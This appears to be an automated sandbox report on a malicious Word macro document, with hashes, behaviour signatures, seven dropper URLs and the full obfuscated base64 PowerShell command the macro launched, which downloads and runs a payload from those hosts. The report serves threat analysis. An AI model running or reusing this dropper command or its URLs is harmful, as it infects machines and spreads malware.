Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 08:28

General

  • Target

    6a579ebff25adef9f8febd6493e2d831_JaffaCakes118.doc

  • Size

    164KB

  • MD5

    6a579ebff25adef9f8febd6493e2d831

  • SHA1

    4dbe52cd79f0489298b3499591443586c0a31584

  • SHA256

    48cf59d8b7c9372f65bd02e6ca168e0651fdbcc3b7330dd22b34a5df23c384f1

  • SHA512

    27959b23fd571bd71e163ccb052a5e862525f79f367163035e9b1ab5a154dc5fdcb79cb9ad21a3b55fff5c98d6aabb62070e03294db679631fe3934064d8bce8

  • SSDEEP

    1536:MgjIgjhrdi1Ir77zOH98Wj2gpngx+a9UbzN+oEyNC84/4Iq/hK:lrfrzOH98ipgboETMIq5K

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://an9news.com/aokhf/XPXV7/

exe.dropper

https://www.17geci.com/vi2w6/Z5i/

exe.dropper

https://rubycityvietnam.com/wp-admin/1c0NVtp/

exe.dropper

https://lami-jo.com/wp-admin/VMeklEt/

exe.dropper

http://vayvontinchap5s.com/vayvon5s.com/YH3mx/

exe.dropper

http://jiamini.us-east-1.elasticbeanstalk.com/static/P1Vcv/

exe.dropper

http://wach8.com/cgi-bin/5JyZcRU/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6a579ebff25adef9f8febd6493e2d831_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABEAG8ANABzAHMAOQAyAD0AKAAnAFQAbgAnACsAKAAnADkAOQAyACcAKwAnAGQAJwApACsAJwBiACcAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAEUAUgBQAHIATwBGAEkATABlAFwARAB6AFIAbgBPADUAOQBcAFQAVwBmAGgAdABNAEoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAEMAdQByAGAASQBgAFQAeQBwAHIATwB0AE8AYABDAE8ATAAiACAAPQAgACgAKAAnAHQAbABzACcAKwAnADEAMgAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzADEAJwApACsAKAAnADEAJwArACcALAAgACcAKQArACcAdAAnACsAJwBsAHMAJwApADsAJABDADgAZwBwAGQAMgA2ACAAPQAgACgAJwBTAHgAJwArACgAJwAwAGQAJwArACcAcAAnACkAKwAoACcAXwBiADkAJwArACcAZgAnACkAKQA7ACQATAByAHUAbQBzADIAeAA9ACgAKAAnAEgAMQAnACsAJwAwACcAKQArACcAbgB6ACcAKwAnAGcAMAAnACkAOwAkAFQAYwAzAGgAZAAxAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBoAGoATABEACcAKwAnAHoAJwApACsAKAAnAHIAbgBvADUAOQAnACsAJwBoAGoAJwArACcATAAnACkAKwAoACcAVAB3ACcAKwAnAGYAaAAnACsAJwB0ACcAKwAnAG0AagBoAGoAJwApACsAJwBMACcAKQAuACIAcgBgAGUAUABsAGAAQQBDAEUAIgAoACgAJwBoAGoAJwArACcATAAnACkALABbAFMAdABSAEkATgBHAF0AWwBDAGgAYQBSAF0AOQAyACkAKQArACQAQwA4AGcAcABkADIANgArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFEAYQA4AF8AYwB5AHYAPQAoACcATgA4ACcAKwAoACcAbgBmAGMAZgAnACsAJwBuACcAKQApADsAJABKAHMANQB1AHYAagBmAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAGMATABJAEUATgB0ADsAJABSAGsAbwBfADUAOAB0AD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAJwArACcAcwA6AC8ALwBhACcAKQArACgAJwBuADkAbgBlACcAKwAnAHcAJwApACsAJwBzACcAKwAnAC4AYwAnACsAKAAnAG8AJwArACcAbQAvAGEAJwApACsAJwBvACcAKwAnAGsAJwArACgAJwBoAGYALwAnACsAJwBYAFAAJwApACsAKAAnAFgAVgAnACsAJwA3ACcAKQArACcALwAnACsAJwAqACcAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcABzADoAJwApACsAJwAvACcAKwAoACcALwB3AHcAJwArACcAdwAnACsAJwAuADEANwBnAGUAJwArACcAYwBpAC4AYwAnACkAKwAnAG8AbQAnACsAJwAvACcAKwAnAHYAaQAnACsAJwAyAHcAJwArACcANgAnACsAKAAnAC8AWgA1AGkAJwArACcALwAqACcAKQArACgAJwBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACcALwAnACsAJwAvAHIAdQBiACcAKQArACgAJwB5AGMAaQB0AHkAJwArACcAdgAnACkAKwAoACcAaQAnACsAJwBlAHQAJwApACsAKAAnAG4AJwArACcAYQBtAC4AJwApACsAJwBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwAxAGMAJwArACcAMAAnACkAKwAoACcATgBWACcAKwAnAHQAJwApACsAKAAnAHAALwAqACcAKwAnAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACgAJwBzACcAKwAnADoALwAnACkAKwAnAC8AJwArACgAJwBsACcAKwAnAGEAbQBpAC0AagBvACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AJwArACcAdwBwAC0AYQAnACsAJwBkACcAKQArACgAJwBtAGkAbgAvACcAKwAnAFYAJwApACsAKAAnAE0AZQAnACsAJwBrAGwAJwApACsAKAAnAEUAdAAvACcAKwAnACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoALwAvAHYAYQAnACsAJwB5ACcAKwAnAHYAbwAnACkAKwAnAG4AdAAnACsAKAAnAGkAbgBjACcAKwAnAGgAJwApACsAKAAnAGEAcAA1ACcAKwAnAHMALgAnACkAKwAnAGMAbwAnACsAJwBtACcAKwAoACcALwB2AGEAeQAnACsAJwB2AG8AJwArACcAbgA1AHMALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AJwArACgAJwBZAEgAMwAnACsAJwBtACcAKQArACcAeAAvACcAKwAoACcAKgAnACsAJwBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvACcAKwAoACcAagBpACcAKwAnAGEAbQBpACcAKQArACcAbgAnACsAKAAnAGkALgB1ACcAKwAnAHMALQAnACsAJwBlACcAKQArACcAYQAnACsAJwBzAHQAJwArACgAJwAtADEAJwArACcALgBlACcAKwAnAGwAYQBzAHQAJwApACsAJwBpAGMAJwArACcAYgAnACsAJwBlAGEAJwArACgAJwBuACcAKwAnAHMAdABhAGwAawAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAHMAdAAnACsAJwBhAHQAJwApACsAKAAnAGkAJwArACcAYwAvACcAKQArACcAUAAxACcAKwAoACcAVgBjAHYAJwArACcALwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwACcAKwAnADoALwAvACcAKQArACcAdwAnACsAKAAnAGEAYwBoADgALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBjAGcAaQAnACsAJwAtACcAKQArACcAYgAnACsAJwBpAG4AJwArACgAJwAvADUASgAnACsAJwB5AFoAYwAnACsAJwBSACcAKQArACcAVQAvACcAKQAuACIAUwBwAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAHQAcgBqAG8AbwA3AD0AKAAoACcASAAnACsAJwBjADUAbQAnACkAKwAnADQAJwArACcAbQA5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4AdQA1AGMANAA4AG0AIABpAG4AIAAkAFIAawBvAF8ANQA4AHQAKQB7AHQAcgB5AHsAJABKAHMANQB1AHYAagBmAC4AIgBEAG8AdwBOAGAAbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABOAHUANQBjADQAOABtACwAIAAkAFQAYwAzAGgAZAAxAHUAKQA7ACQARQA4AG0AYQBhAGcAOAA9ACgAJwBYAGcAJwArACcANgB2ACcAKwAoACcAbwBzACcAKwAnAHcAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAVABjADMAaABkADEAdQApAC4AIgBsAEUAbgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADQAMQA3ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawAnACsAJwBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAFQAYwAzAGgAZAAxAHUAKQA7ACQAQwBhAGcAegB6AGUAagA9ACgAJwBUAHoAJwArACgAJwBfADUAaQB3ACcAKwAnAGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAE8AXwBmADUAbgA2AGcAPQAoACgAJwBSAG4AaQB1AGwAJwArACcAMwAnACkAKwAnADQAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAGEAMQBtADMAZAByAD0AKAAoACcAQwAnACsAJwA3AGsAJwApACsAJwByACcAKwAoACcAOAAnACsAJwBfAHkAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2552

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0ed5aada6cd6bd735119805f7f2c17d5

      SHA1

      7a723b618de39875a54d8d5c8b9341cdeb7462ed

      SHA256

      cb04718cdb082bab969df984cde764c7cc3c162bed17c209c58811fa122f37dd

      SHA512

      8fe9b02e449718ed029506bd9f461e21025b2d3a8110efda765e21b121c0b264d751a5207947717ce698ac2e65576841a1d83afe520b75b25bef035a13bfc649

    • memory/2440-20-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2440-6-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-19-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-8-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-12-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-11-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-10-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-9-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-16-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-17-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-15-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-14-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-18-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-13-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-22-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-21-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-0-0x000000002FD51000-0x000000002FD52000-memory.dmp

      Filesize

      4KB

    • memory/2440-7-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-2-0x0000000071A1D000-0x0000000071A28000-memory.dmp

      Filesize

      44KB

    • memory/2440-25-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-26-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-24-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-23-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-31-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-32-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-30-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-29-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-28-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-33-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-64-0x0000000071A1D000-0x0000000071A28000-memory.dmp

      Filesize

      44KB

    • memory/2440-27-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-46-0x0000000071A1D000-0x0000000071A28000-memory.dmp

      Filesize

      44KB

    • memory/2440-47-0x00000000006E0000-0x00000000007E0000-memory.dmp

      Filesize

      1024KB

    • memory/2440-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2552-40-0x0000000001D90000-0x0000000001D98000-memory.dmp

      Filesize

      32KB

    • memory/2552-39-0x000000001B660000-0x000000001B942000-memory.dmp

      Filesize

      2.9MB